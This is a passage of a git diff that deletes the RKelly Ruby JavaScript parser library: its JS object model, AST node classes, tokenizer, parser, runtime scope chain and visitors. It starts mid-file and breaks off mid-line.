value - } - self['toString'] = args.first.to_s - end - end - end -end diff --git a/lib/rkelly/js/function.rb b/lib/rkelly/js/function.rb deleted file mode 100644 index 538057a3de..0000000000 --- a/lib/rkelly/js/function.rb +++ /dev/null @@ -1,39 +0,0 @@ -module RKelly - module JS - class Function < Base - class << self - def create(*args) - if args.length > 0 - parser = RKelly::Parser.new - body = args.pop - tree = parser.parse("function x(#{args.join(',')}) { #{body} }") - func = tree.value.first - self.new(func.function_body, func.arguments) - else - self.new - end - end - end - - attr_reader :body, :arguments - def initialize(body = nil, arguments = []) - super() - @body = body - @arguments = arguments - self['prototype'] = JS::FunctionPrototype.new(self) - self['toString'] = :undefined - self['length'] = arguments.length - end - - def js_call(scope_chain, *params) - arguments.each_with_index { |name, i| - scope_chain[name.value] = params[i] || RKelly::Runtime::UNDEFINED - } - function_visitor = RKelly::Visitors::FunctionVisitor.new(scope_chain) - eval_visitor = RKelly::Visitors::EvaluationVisitor.new(scope_chain) - body.accept(function_visitor) if body - body.accept(eval_visitor) if body - end - end - end -end diff --git a/lib/rkelly/js/function_prototype.rb b/lib/rkelly/js/function_prototype.rb deleted file mode 100644 index 6a6fde983a..0000000000 --- a/lib/rkelly/js/function_prototype.rb +++ /dev/null @@ -1,15 +0,0 @@ -module RKelly - module JS - # This is the object protytpe - # ECMA-262 15.2.4 - class FunctionPrototype < ObjectPrototype - def initialize(function) - super() - self['Class'] = 'Object' - self['constructor'] = function - self['arguments'].value = nil - end - end - end -end - diff --git a/lib/rkelly/js/global_object.rb b/lib/rkelly/js/global_object.rb deleted file mode 100644 index 370a108989..0000000000 --- a/lib/rkelly/js/global_object.rb +++ /dev/null @@ -1,52 +0,0 @@ -module RKelly - module JS - class GlobalObject < Base - def initialize - super - self['class'] = 'GlobalObject' - self['NaN'] = JS::NaN.new - self['NaN'].attributes << :dont_enum - self['NaN'].attributes << :dont_delete - - self['Infinity'] = 1.0/0.0 - self['Infinity'].attributes << :dont_enum - self['Infinity'].attributes << :dont_delete - - self['undefined'] = :undefined - self['undefined'].attributes << :dont_enum - self['undefined'].attributes << :dont_delete - - self['Array'] = JS::Array.new - self['Array'].function = lambda { |*args| - JS::Array.create(*args) - } - - self['Object'] = JS::Object.new - self['Object'].function = lambda { |*args| - JS::Object.create(*args) - } - - self['Math'] = JS::Math.new - - self['Function'] = :undefined - self['Function'].function = lambda { |*args| - JS::Function.create(*args) - } - - self['Number'] = JS::Number.new - self['Number'].function = lambda { |*args| - JS::Number.create(*args) - } - - self['Boolean'] = JS::Boolean.new - self['Boolean'].function = lambda { |*args| - JS::Boolean.create(*args) - } - self['String'] = JS::String.new('') - self['String'].function = lambda { |*args| - JS::String.create(*args) - } - end - end - end -end diff --git a/lib/rkelly/js/math.rb b/lib/rkelly/js/math.rb deleted file mode 100644 index c6a0a2aa35..0000000000 --- a/lib/rkelly/js/math.rb +++ /dev/null @@ -1,10 +0,0 @@ -module RKelly - module JS - class Math < Base - def initialize - super - self['PI'] = ::Math::PI - end - end - end -end diff --git a/lib/rkelly/js/nan.rb b/lib/rkelly/js/nan.rb deleted file mode 100644 index b4bc7f8401..0000000000 --- a/lib/rkelly/js/nan.rb +++ /dev/null @@ -1,18 +0,0 @@ -module RKelly - module JS - # Class to represent Not A Number - # In Ruby NaN != NaN, but in JS, NaN == NaN - class NaN < ::Numeric - def ==(other) - other.respond_to?(:nan?) && other.nan? - end - - def nan? - true - end - - def +(o); self; end - def -(o); self; end - end - end -end diff --git a/lib/rkelly/js/number.rb b/lib/rkelly/js/number.rb deleted file mode 100644 index d513ec7a23..0000000000 --- a/lib/rkelly/js/number.rb +++ /dev/null @@ -1,22 +0,0 @@ -module RKelly - module JS - class Number < Base - class << self - def create(*args) - self.new(args.first || 0) - end - end - - def initialize(value = 0) - super() - self['MAX_VALUE'] = 1.797693134862315e+308 - self['MIN_VALUE'] = 1.0e-306 - self['NaN'] = JS::NaN.new - self['POSITIVE_INFINITY'] = 1.0/0.0 - self['NEGATIVE_INFINITY'] = -1.0/0.0 - self['valueOf'] = lambda { value } - self['toString'] = value.to_s - end - end - end -end diff --git a/lib/rkelly/js/object.rb b/lib/rkelly/js/object.rb deleted file mode 100644 index 27635bf50e..0000000000 --- a/lib/rkelly/js/object.rb +++ /dev/null @@ -1,30 +0,0 @@ -module RKelly - module JS - class Object < Base - attr_reader :value - class << self - def create(*args) - arg = args.first - return self.new if arg.nil? || arg == :undefined - case arg - when true, false - JS::Boolean.new(arg) - when Numeric - JS::Number.new(arg) - when ::String - JS::String.new(arg) - else - self.new(arg) - end - end - end - - def initialize(*args) - super() - self['prototype'] = JS::ObjectPrototype.new - self['valueOf'] = lambda { args.first || self } - self['valueOf'].function = lambda { args.first || self } - end - end - end -end diff --git a/lib/rkelly/js/object_prototype.rb b/lib/rkelly/js/object_prototype.rb deleted file mode 100644 index c8bd61a325..0000000000 --- a/lib/rkelly/js/object_prototype.rb +++ /dev/null @@ -1,14 +0,0 @@ -module RKelly - module JS - # This is the object protytpe - # ECMA-262 15.2.4 - class ObjectPrototype < Base - def initialize - super - self['toString'].function = unbound_method(:toString) do - "[object #{self['Class'].value}]" - end - end - end - end -end diff --git a/lib/rkelly/js/property.rb b/lib/rkelly/js/property.rb deleted file mode 100644 index 73c5fdd397..0000000000 --- a/lib/rkelly/js/property.rb +++ /dev/null @@ -1,20 +0,0 @@ -module RKelly - module JS - class Property - attr_accessor :name, :value, :attributes, :function, :binder - def initialize(name, value, binder = nil, function = nil, attributes = []) - @name = name - @value = value - @binder = binder - @function = function - @attributes = attributes - end - - [:read_only, :dont_enum, :dont_delete, :internal].each do |property| - define_method(:"#{property}?") do - self.attributes.include?(property) - end - end - end - end -end diff --git a/lib/rkelly/js/scope.rb b/lib/rkelly/js/scope.rb deleted file mode 100644 index 1437d31118..0000000000 --- a/lib/rkelly/js/scope.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module JS - class Scope < Base - end - end -end diff --git a/lib/rkelly/js/string.rb b/lib/rkelly/js/string.rb deleted file mode 100644 index 9fab974410..0000000000 --- a/lib/rkelly/js/string.rb +++ /dev/null @@ -1,21 +0,0 @@ -module RKelly - module JS - class String < Base - class << self - def create(*args) - self.new(args.first || '') - end - end - - def initialize(value) - super() - self['valueOf'] = value - self['valueOf'].function = lambda { value } - self['toString'] = value - self['fromCharCode'] = unbound_method(:fromCharCode) { |*args| - args.map { |x| x.chr }.join - } - end - end - end -end diff --git a/lib/rkelly/lexeme.rb b/lib/rkelly/lexeme.rb deleted file mode 100644 index c06ca5fb47..0000000000 --- a/lib/rkelly/lexeme.rb +++ /dev/null @@ -1,18 +0,0 @@ -require 'rkelly/token' - -module RKelly - class Lexeme - attr_reader :name, :pattern - def initialize(name, pattern, &block) - @name = name - @pattern = pattern - @block = block - end - - def match(string) - match = pattern.match(string) - return Token.new(name, match.to_s, &@block) if match - match - end - end -end diff --git a/lib/rkelly/nodes.rb b/lib/rkelly/nodes.rb deleted file mode 100644 index 3548d286d6..0000000000 --- a/lib/rkelly/nodes.rb +++ /dev/null @@ -1,25 +0,0 @@ -require 'rkelly/nodes/node' -require 'rkelly/nodes/function_expr_node' -require 'rkelly/nodes/binary_node' -require 'rkelly/nodes/bracket_accessor_node' -require 'rkelly/nodes/case_clause_node' -require 'rkelly/nodes/comma_node' -require 'rkelly/nodes/conditional_node' -require 'rkelly/nodes/dot_accessor_node' -require 'rkelly/nodes/for_in_node' -require 'rkelly/nodes/for_node' -require 'rkelly/nodes/function_call_node' -require 'rkelly/nodes/function_decl_node' -require 'rkelly/nodes/function_expr_node' -require 'rkelly/nodes/if_node' -require 'rkelly/nodes/label_node' -require 'rkelly/nodes/new_expr_node' -require 'rkelly/nodes/not_strict_equal_node' -require 'rkelly/nodes/op_equal_node' -require 'rkelly/nodes/postfix_node' -require 'rkelly/nodes/prefix_node' -require 'rkelly/nodes/property_node' -require 'rkelly/nodes/resolve_node' -require 'rkelly/nodes/strict_equal_node' -require 'rkelly/nodes/try_node' -require 'rkelly/nodes/var_decl_node' diff --git a/lib/rkelly/nodes/binary_node.rb b/lib/rkelly/nodes/binary_node.rb deleted file mode 100644 index 84f6b3dbdf..0000000000 --- a/lib/rkelly/nodes/binary_node.rb +++ /dev/null @@ -1,18 +0,0 @@ -module RKelly - module Nodes - class BinaryNode < Node - attr_reader :left - def initialize(left, right) - super(right) - @left = left - end - end - - %w[Subtract LessOrEqual GreaterOrEqual Add Multiply While NotEqual - DoWhile Switch LogicalAnd UnsignedRightShift Modulus While - NotStrictEqual Less With In Greater BitOr StrictEqual LogicalOr - BitXOr LeftShift Equal BitAnd InstanceOf Divide RightShift].each do |node| - eval "class #{node}Node < BinaryNode; end" - end - end -end diff --git a/lib/rkelly/nodes/bracket_accessor_node.rb b/lib/rkelly/nodes/bracket_accessor_node.rb deleted file mode 100644 index 6115fa2574..0000000000 --- a/lib/rkelly/nodes/bracket_accessor_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class BracketAccessorNode < Node - attr_reader :accessor - def initialize(resolve, accessor) - super(resolve) - @accessor = accessor - end - end - end -end diff --git a/lib/rkelly/nodes/case_clause_node.rb b/lib/rkelly/nodes/case_clause_node.rb deleted file mode 100644 index bbe5127d58..0000000000 --- a/lib/rkelly/nodes/case_clause_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -require 'rkelly/nodes/binary_node' - -module RKelly - module Nodes - class CaseClauseNode < BinaryNode - def initialize(left, src = SourceElementsNode.new([])) - super - end - end - end -end diff --git a/lib/rkelly/nodes/comma_node.rb b/lib/rkelly/nodes/comma_node.rb deleted file mode 100644 index 00bfbe539f..0000000000 --- a/lib/rkelly/nodes/comma_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class CommaNode < Node - attr_reader :left - def initialize(left, right) - super(right) - @left = left - end - end - end -end diff --git a/lib/rkelly/nodes/conditional_node.rb b/lib/rkelly/nodes/conditional_node.rb deleted file mode 100644 index 4aea83ea88..0000000000 --- a/lib/rkelly/nodes/conditional_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -require 'rkelly/nodes/if_node' - -module RKelly - module Nodes - class ConditionalNode < IfNode - def initialize(test, true_block, else_block) - super - end - end - end -end diff --git a/lib/rkelly/nodes/dot_accessor_node.rb b/lib/rkelly/nodes/dot_accessor_node.rb deleted file mode 100644 index 1fd78fc90f..0000000000 --- a/lib/rkelly/nodes/dot_accessor_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class DotAccessorNode < Node - attr_accessor :accessor - def initialize(resolve, accessor) - super(resolve) - @accessor = accessor - end - end - end -end diff --git a/lib/rkelly/nodes/for_in_node.rb b/lib/rkelly/nodes/for_in_node.rb deleted file mode 100644 index 3b14ab6f09..0000000000 --- a/lib/rkelly/nodes/for_in_node.rb +++ /dev/null @@ -1,12 +0,0 @@ -module RKelly - module Nodes - class ForInNode < Node - attr_reader :left, :right - def initialize(left, right, block) - super(block) - @left = left - @right = right - end - end - end -end diff --git a/lib/rkelly/nodes/for_node.rb b/lib/rkelly/nodes/for_node.rb deleted file mode 100644 index 7392e490ae..0000000000 --- a/lib/rkelly/nodes/for_node.rb +++ /dev/null @@ -1,13 +0,0 @@ -module RKelly - module Nodes - class ForNode < Node - attr_reader :init, :test, :counter - def initialize(init, test, counter, body) - super(body) - @init = init - @test = test - @counter = counter - end - end - end -end diff --git a/lib/rkelly/nodes/function_call_node.rb b/lib/rkelly/nodes/function_call_node.rb deleted file mode 100644 index c91d090e18..0000000000 --- a/lib/rkelly/nodes/function_call_node.rb +++ /dev/null @@ -1,16 +0,0 @@ -module RKelly - module Nodes - class FunctionCallNode < Node - attr_reader :arguments - def initialize(value, arguments) - super(value) - @arguments = arguments - end - - def ==(other) - super && @arguments == other.arguments - end - alias :=~ :== - end - end -end diff --git a/lib/rkelly/nodes/function_decl_node.rb b/lib/rkelly/nodes/function_decl_node.rb deleted file mode 100644 index 0415de8d5d..0000000000 --- a/lib/rkelly/nodes/function_decl_node.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module Nodes - class FunctionDeclNode < FunctionExprNode - end - end -end diff --git a/lib/rkelly/nodes/function_expr_node.rb b/lib/rkelly/nodes/function_expr_node.rb deleted file mode 100644 index 503c01cea1..0000000000 --- a/lib/rkelly/nodes/function_expr_node.rb +++ /dev/null @@ -1,12 +0,0 @@ -module RKelly - module Nodes - class FunctionExprNode < Node - attr_reader :function_body, :arguments - def initialize(name, body, args = []) - super(name) - @function_body = body - @arguments = args - end - end - end -end diff --git a/lib/rkelly/nodes/if_node.rb b/lib/rkelly/nodes/if_node.rb deleted file mode 100644 index 260940169d..0000000000 --- a/lib/rkelly/nodes/if_node.rb +++ /dev/null @@ -1,12 +0,0 @@ -module RKelly - module Nodes - class IfNode < Node - attr_reader :conditions, :else - def initialize(conditions, value, else_stmt = nil) - super(value) - @conditions = conditions - @else = else_stmt - end - end - end -end diff --git a/lib/rkelly/nodes/label_node.rb b/lib/rkelly/nodes/label_node.rb deleted file mode 100644 index fe548dd0cc..0000000000 --- a/lib/rkelly/nodes/label_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class LabelNode < Node - attr_reader :name - def initialize(name, value) - super(value) - @name = name - end - end - end -end diff --git a/lib/rkelly/nodes/new_expr_node.rb b/lib/rkelly/nodes/new_expr_node.rb deleted file mode 100644 index de7ed3d4dc..0000000000 --- a/lib/rkelly/nodes/new_expr_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class NewExprNode < Node - attr_reader :arguments - def initialize(value, args) - super(value) - @arguments = args - end - end - end -end diff --git a/lib/rkelly/nodes/node.rb b/lib/rkelly/nodes/node.rb deleted file mode 100644 index dd5dcde069..0000000000 --- a/lib/rkelly/nodes/node.rb +++ /dev/null @@ -1,88 +0,0 @@ -module RKelly - module Nodes - class Node - include RKelly::Visitable - include RKelly::Visitors - include Enumerable - - attr_accessor :value, :comments, :line, :filename - def initialize(value) - @value = value - @comments = [] - @filename = @line = nil - end - - def ==(other) - other.is_a?(self.class) && @value == other.value - end - alias :=~ :== - - def ===(other) - other.is_a?(self.class) && @value === other.value - end - - def pointcut(pattern) - case pattern - when String - ast = RKelly::Parser.new.parse(pattern) - # Only take the first statement - finder = ast.value.first.class.to_s =~ /StatementNode$/ ? - ast.value.first.value : ast.value.first - visitor = PointcutVisitor.new(finder) - else - visitor = PointcutVisitor.new(pattern) - end - - visitor.accept(self) - visitor - end - alias :/ :pointcut - - def to_sexp - SexpVisitor.new.accept(self) - end - - def to_ecma - ECMAVisitor.new.accept(self) - end - - def to_dots - visitor = DotVisitor.new - visitor.accept(self) - header = <<-END -digraph g { -graph [ rankdir = "TB" ]; -node [ - fontsize = "16" - shape = "ellipse" -]; -edge [ ]; - END - nodes = visitor.nodes.map { |x| x.to_s }.join("\n") - counter = 0 - arrows = visitor.arrows.map { |x| - s = "#{x} [\nid = #{counter}\n];" - counter += 1 - s - }.join("\n") - "#{header}\n#{nodes}\n#{arrows}\n}" - end - - def each(&block) - EnumerableVisitor.new(block).accept(self) - end - - def to_real_sexp - RealSexpVisitor.new.accept(self) - end - end - - %w[EmptyStatement Parenthetical ExpressionStatement True Delete Return TypeOf - SourceElements Number LogicalNot AssignExpr FunctionBody - ObjectLiteral UnaryMinus Throw This BitwiseNot Element String - Array CaseBlock Null Break Parameter Block False Void Regexp - Arguments Attr Continue ConstStatement UnaryPlus VarStatement].each do |node| - eval "class #{node}Node < Node; end" - end - end -end diff --git a/lib/rkelly/nodes/not_strict_equal_node.rb b/lib/rkelly/nodes/not_strict_equal_node.rb deleted file mode 100644 index 6933d2d2c9..0000000000 --- a/lib/rkelly/nodes/not_strict_equal_node.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module Nodes - class NotStrictEqualNode < BinaryNode - end - end -end diff --git a/lib/rkelly/nodes/op_equal_node.rb b/lib/rkelly/nodes/op_equal_node.rb deleted file mode 100644 index 2d9fcd462e..0000000000 --- a/lib/rkelly/nodes/op_equal_node.rb +++ /dev/null @@ -1,16 +0,0 @@ -module RKelly - module Nodes - class OpEqualNode < Node - attr_reader :left - def initialize(left, right) - super(right) - @left = left - end - end - - %w[Multiply Divide LShift Minus Plus Mod XOr RShift And URShift Or].each do |node| - eval "class Op#{node}EqualNode < OpEqualNode; end" - end - - end -end diff --git a/lib/rkelly/nodes/postfix_node.rb b/lib/rkelly/nodes/postfix_node.rb deleted file mode 100644 index 90392a2be3..0000000000 --- a/lib/rkelly/nodes/postfix_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class PostfixNode < Node - attr_reader :operand - def initialize(operand, operator) - super(operator) - @operand = operand - end - end - end -end diff --git a/lib/rkelly/nodes/prefix_node.rb b/lib/rkelly/nodes/prefix_node.rb deleted file mode 100644 index aeb07e96f6..0000000000 --- a/lib/rkelly/nodes/prefix_node.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module Nodes - class PrefixNode < PostfixNode - end - end -end diff --git a/lib/rkelly/nodes/property_node.rb b/lib/rkelly/nodes/property_node.rb deleted file mode 100644 index 89d45e6869..0000000000 --- a/lib/rkelly/nodes/property_node.rb +++ /dev/null @@ -1,13 +0,0 @@ -module RKelly - module Nodes - class PropertyNode < Node - attr_accessor :name - def initialize(name, value) - super(value) - @name = name - end - end - - %w[Getter Setter].each {|node| eval "class #{node}PropertyNode < PropertyNode; end"} - end -end diff --git a/lib/rkelly/nodes/resolve_node.rb b/lib/rkelly/nodes/resolve_node.rb deleted file mode 100644 index 92b4996f7e..0000000000 --- a/lib/rkelly/nodes/resolve_node.rb +++ /dev/null @@ -1,19 +0,0 @@ -module RKelly - module Nodes - class ResolveNode < Node - def ==(other) - return true if super - if @value =~ /^[A-Z]/ - place = [Object, Module, RKelly::Nodes].find { |x| - x.const_defined?(@value.to_sym) - } - return false unless place - klass = place.const_get(@value.to_sym) - return true if klass && other.is_a?(klass) || other.value.is_a?(klass) - end - false - end - alias :=~ :== - end - end -end diff --git a/lib/rkelly/nodes/strict_equal_node.rb b/lib/rkelly/nodes/strict_equal_node.rb deleted file mode 100644 index fa1172e09f..0000000000 --- a/lib/rkelly/nodes/strict_equal_node.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module Nodes - class StrictEqualNode < BinaryNode - end - end -end diff --git a/lib/rkelly/nodes/try_node.rb b/lib/rkelly/nodes/try_node.rb deleted file mode 100644 index 2e45ae27a4..0000000000 --- a/lib/rkelly/nodes/try_node.rb +++ /dev/null @@ -1,13 +0,0 @@ -module RKelly - module Nodes - class TryNode < Node - attr_reader :catch_var, :catch_block, :finally_block - def initialize(value, catch_var, catch_block, finally_block = nil) - super(value) - @catch_var = catch_var - @catch_block = catch_block - @finally_block = finally_block - end - end - end -end diff --git a/lib/rkelly/nodes/var_decl_node.rb b/lib/rkelly/nodes/var_decl_node.rb deleted file mode 100644 index 8034246628..0000000000 --- a/lib/rkelly/nodes/var_decl_node.rb +++ /dev/null @@ -1,15 +0,0 @@ -module RKelly - module Nodes - class VarDeclNode < Node - attr_accessor :name, :type - def initialize(name, value, constant = false) - super(value) - @name = name - @constant = constant - end - - def constant?; @constant; end - def variable?; !@constant; end - end - end -end diff --git a/lib/rkelly/parser.rb b/lib/rkelly/parser.rb deleted file mode 100644 index 920de83fd1..0000000000 --- a/lib/rkelly/parser.rb +++ /dev/null @@ -1,104 +0,0 @@ -require 'rkelly/tokenizer' -require 'rkelly/generated_parser' - - -module RKelly - class Parser < RKelly::GeneratedParser - TOKENIZER = Tokenizer.new - - RKelly::GeneratedParser.instance_methods.each do |im| - next unless im.to_s =~ /^_reduce_\d+$/ - eval(<<-eoawesomehack) - def #{im}(val, _values, result) - r = super(val.map { |v| - v.is_a?(Token) ? v.to_racc_token[1] : v - }, _values, result) - if token = val.find { |v| v.is_a?(Token) } - r.line = token.line if r.respond_to?(:line) - r.filename = @filename if r.respond_to?(:filename) - end - r - end - eoawesomehack - end - - attr_accessor :logger - def initialize - @tokens = [] - @logger = nil - @terminator = false - @prev_token = nil - @comments = [] - end - - # Parse +javascript+ and return an AST - def parse(javascript, filename = nil) - @tokens = TOKENIZER.raw_tokens(javascript) - @position = 0 - @filename = filename - ast = do_parse - apply_comments(ast) - end - - def yyabort - raise "something bad happened, please report a bug with sample JavaScript" - end - - private - def apply_comments(ast) - ast_hash = Hash.new { |h,k| h[k] = [] } - (ast || []).each { |n| - next unless n.line - ast_hash[n.line] << n - } - max = ast_hash.keys.sort.last - @comments.each do |comment| - node = nil - comment.line.upto(max) do |line| - if ast_hash.key?(line) - node = ast_hash[line].first - break - end - end - node.comments << comment if node - end if max - ast - end - - def on_error(error_token_id, error_value, value_stack) - if logger - logger.error(token_to_str(error_token_id)) - logger.error("error value: #{error_value}") - logger.error("error stack: #{value_stack}") - end - end - - def next_token - @terminator = false - begin - return [false, false] if @position >= @tokens.length - n_token = @tokens[@position] - @position += 1 - case @tokens[@position - 1].name - when :COMMENT - @comments << n_token - @terminator = true if n_token.value =~ /^\/\// - when :S - @terminator = true if n_token.value =~ /[\r\n]/ - end - end while([:COMMENT, :S].include?(n_token.name)) - - if @terminator && - ((@prev_token && %w[continue break return throw].include?(@prev_token.value)) || - (n_token && %w[++ --].include?(n_token.value))) - @position -= 1 - return (@prev_token = RKelly::Token.new(';', ';')).to_racc_token - end - - @prev_token = n_token - v = n_token.to_racc_token - v[1] = n_token - v - end - end -end diff --git a/lib/rkelly/runtime.rb b/lib/rkelly/runtime.rb deleted file mode 100644 index d7a314fb55..0000000000 --- a/lib/rkelly/runtime.rb +++ /dev/null @@ -1,36 +0,0 @@ -require 'rkelly/js' -require 'rkelly/runtime/scope_chain' - -module RKelly - class Runtime - UNDEFINED = RKelly::JS::Property.new(:undefined, :undefined) - - def initialize - @parser = Parser.new - @scope = ScopeChain.new - end - - # Execute +js+ - def execute(js) - function_visitor = Visitors::FunctionVisitor.new(@scope) - eval_visitor = Visitors::EvaluationVisitor.new(@scope) - tree = @parser.parse(js) - function_visitor.accept(tree) - eval_visitor.accept(tree) - @scope - end - - def call_function(function_name, *args) - function = @scope[function_name].value - @scope.new_scope { |chain| - function.js_call(chain, *(args.map { |x| - RKelly::JS::Property.new(:param, x) - })) - }.value - end - - def define_function(function, &block) - @scope[function.to_s].function = block - end - end -end diff --git a/lib/rkelly/runtime/ruby_function.rb b/lib/rkelly/runtime/ruby_function.rb deleted file mode 100644 index 741cb10758..0000000000 --- a/lib/rkelly/runtime/ruby_function.rb +++ /dev/null @@ -1,13 +0,0 @@ -module RKelly - class Runtime - class RubyFunction - def initialize(&block) - @code = block - end - - def call(chain, *args) - @code.call(*args) - end - end - end -end diff --git a/lib/rkelly/runtime/scope_chain.rb b/lib/rkelly/runtime/scope_chain.rb deleted file mode 100644 index 76cb2bd5b5..0000000000 --- a/lib/rkelly/runtime/scope_chain.rb +++ /dev/null @@ -1,57 +0,0 @@ -module RKelly - class Runtime - class ScopeChain - include RKelly::JS - - def initialize(scope = Scope.new) - @chain = [GlobalObject.new] - end - - def <<(scope) - @chain << scope - end - - def has_property?(name) - scope = @chain.reverse.find { |x| - x.has_property?(name) - } - scope ? scope[name] : nil - end - - def [](name) - property = has_property?(name) - return property if property - @chain.last.properties[name] - end - - def []=(name, value) - @chain.last.properties[name] = value - end - - def pop - @chain.pop - end - - def this - @chain.last - end - - def new_scope(&block) - @chain << Scope.new - result = yield(self) - @chain.pop - result - end - - def return=(value) - @chain.last.return = value - end - - def return; @chain.last.return; end - - def returned? - @chain.last.returned? - end - end - end -end diff --git a/lib/rkelly/syntax_error.rb b/lib/rkelly/syntax_error.rb deleted file mode 100644 index f14a1a569e..0000000000 --- a/lib/rkelly/syntax_error.rb +++ /dev/null @@ -1,4 +0,0 @@ -module RKelly - class SyntaxError < ::SyntaxError - end -end diff --git a/lib/rkelly/token.rb b/lib/rkelly/token.rb deleted file mode 100644 index 556817ac8a..0000000000 --- a/lib/rkelly/token.rb +++ /dev/null @@ -1,15 +0,0 @@ -module RKelly - class Token - attr_accessor :name, :value, :transformer, :line - def initialize(name, value, &transformer) - @name = name - @value = value - @transformer = transformer - end - - def to_racc_token - return transformer.call(name, value) if transformer - [name, value] - end - end -end diff --git a/lib/rkelly/tokenizer.rb b/lib/rkelly/tokenizer.rb deleted file mode 100644 index 21ad0803f3..0000000000 --- a/lib/rkelly/tokenizer.rb +++ /dev/null @@ -1,136 +0,0 @@ -require 'rkelly/lexeme' - -module RKelly - class Tokenizer - KEYWORDS = %w{ - break case catch continue default delete do else finally for function - if in instanceof new return switch this throw try typeof var void while - with - - const true false null debugger - } - - RESERVED = %w{ - abstract boolean byte char class double enum export extends - final float goto implements import int interface long native package - private protected public short static super synchronized throws - transient volatile - } - - LITERALS = { - # Punctuators - '==' => :EQEQ, - '!=' => :NE, - '===' => :STREQ, - '!==' => :STRNEQ, - '<=' => :LE, - '>=' => :GE, - '||' => :OR, - '&&' => :AND, - '++' => :PLUSPLUS, - '--' => :MINUSMINUS, - '<<' => :LSHIFT, - '<<=' => :LSHIFTEQUAL, - '>>' => :RSHIFT, - '>>=' => :RSHIFTEQUAL, - '>>>' => :URSHIFT, - '>>>='=> :URSHIFTEQUAL, - '&=' => :ANDEQUAL, - '%=' => :MODEQUAL, - '^=' => :XOREQUAL, - '|=' => :OREQUAL, - '+=' => :PLUSEQUAL, - '-=' => :MINUSEQUAL, - '*=' => :MULTEQUAL, - '/=' => :DIVEQUAL, - } - - TOKENS_THAT_IMPLY_DIVISION = [:IDENT, :NUMBER, ')', ']', '}'] - - def initialize(&block) - @lexemes = [] - - token(:COMMENT, /\A\/(?:\*(?:.)*?\*\/|\/[^\n]*)/m) - token(:STRING, /\A"(?:[^"\\]*(?:\\.[^"\\]*)*)"|\A'(?:[^'\\]*(?:\\.[^'\\]*)*)'/m) - - # A regexp to match floating point literals (but not integer literals). - token(:NUMBER, /\A\d+\.\d*(?:[eE][-+]?\d+)?|\A\d+(?:\.\d*)?[eE][-+]?\d+|\A\.\d+(?:[eE][-+]?\d+)?/m) do |type, value| - value.gsub!(/\.(\D)/, '.0\1') if value =~ /\.\w/ - value.gsub!(/\.$/, '.0') if value =~ /\.$/ - value.gsub!(/^\./, '0.') if value =~ /^\./ - [type, eval(value)] - end - token(:NUMBER, /\A0[xX][\da-fA-F]+|\A0[0-7]*|\A\d+/) do |type, value| - [type, eval(value)] - end - - token(:LITERALS, - Regexp.new(LITERALS.keys.sort_by { |x| - x.length - }.reverse.map { |x| "\\A#{x.gsub(/([|+*^])/, '\\\\\1')}" }.join('|') - )) do |type, value| - [LITERALS[value], value] - end - - token(:IDENT, /\A([_\$A-Za-z][_\$0-9A-Za-z]*)/) do |type,value| - if KEYWORDS.include?(value) - [value.upcase.to_sym, value] - elsif RESERVED.include?(value) - [:RESERVED, value] - else - [type, value] - end - end - - token(:REGEXP, /\A\/(?:[^\/\r\n\\]*(?:\\[^\r\n][^\/\r\n\\]*)*)\/[gi]*/) - token(:S, /\A[\s\r\n]*/m) - - token(:SINGLE_CHAR, /\A./) do |type, value| - [value, value] - end - end - - def tokenize(string) - raw_tokens(string).map { |x| x.to_racc_token } - end - - def raw_tokens(string) - tokens = [] - line_number = 1 - accepting_regexp = true - while string.length > 0 - longest_token = nil - - @lexemes.each { |lexeme| - next if lexeme.name == :REGEXP && !accepting_regexp - - match = lexeme.match(string) - next if match.nil? - longest_token = match if longest_token.nil? - next if longest_token.value.length >= match.value.length - longest_token = match - } - - accepting_regexp = followable_by_regex(longest_token) - - longest_token.line = line_number - line_number += longest_token.value.scan(/\n/).length - string = string.slice(Range.new(longest_token.value.length, -1)) - tokens << longest_token - end - tokens - end - - private - def token(name, pattern = nil, &block) - @lexemes << Lexeme.new(name, pattern, &block) - end - - def followable_by_regex(current_token) - name = current_token.name - name = current_token.value if name == :SINGLE_CHAR - #the tokens that imply division vs. start of regex form a disjoint set - !TOKENS_THAT_IMPLY_DIVISION.include?(name) - end - end -end diff --git a/lib/rkelly/visitable.rb b/lib/rkelly/visitable.rb deleted file mode 100644 index b57c8b0294..0000000000 --- a/lib/rkelly/visitable.rb +++ /dev/null @@ -1,16 +0,0 @@ -module RKelly - module Visitable - # Based off the visitor pattern from RubyGarden - def accept(visitor, &block) - klass = self.class.ancestors.find { |ancestor| - visitor.respond_to?("visit_#{ancestor.name.split(/::/)[-1]}") - } - - if klass - visitor.send(:"visit_#{klass.name.split(/::/)[-1]}", self, &block) - else - raise "No visitor for '#{self.class}'" - end - end - end -end diff --git a/lib/rkelly/visitors.rb b/lib/rkelly/visitors.rb deleted file mode 100644 index d665245f1b..0000000000 --- a/lib/rkelly/visitors.rb +++ /dev/null @@ -1,4 +0,0 @@ -require 'rkelly/visitors/visitor' -Dir[File.join(File.dirname(__FILE__), "visitors/*_visitor.rb")].each do |file| - require file[/rkelly\/visitors\/.*/] -end diff --git a/lib/rkelly/visitors/dot_visitor.rb b/lib/rkelly/visitors/dot_visitor.rb deleted file mode 100644 index 25a3b94e5f..0000000000 --- a/lib/rkelly/visitors/dot_visitor.rb +++ /dev/null @@ -1,228 +0,0 @@ -module RKelly - module Visitors - class DotVisitor < Visitor - class Node < Struct.new(:node_id, :fields) - ESCAPE = /([<>"\\])/ - def to_s - counter = 0 - label = fields.map { |f| - s = "<f#{counter}> #{f.to_s.gsub(ESCAPE, '\\\\\1').gsub(/[\r\n]/,' ')}" - counter += 1 - s - }.join('|') - "\"#{node_id}\" [\nlabel = \"#{label}\"\nshape = \"record\"\n];" - end - end - - class Arrow < Struct.new(:from, :to, :label) - def to_s - "\"#{from.node_id}\":f0 -> 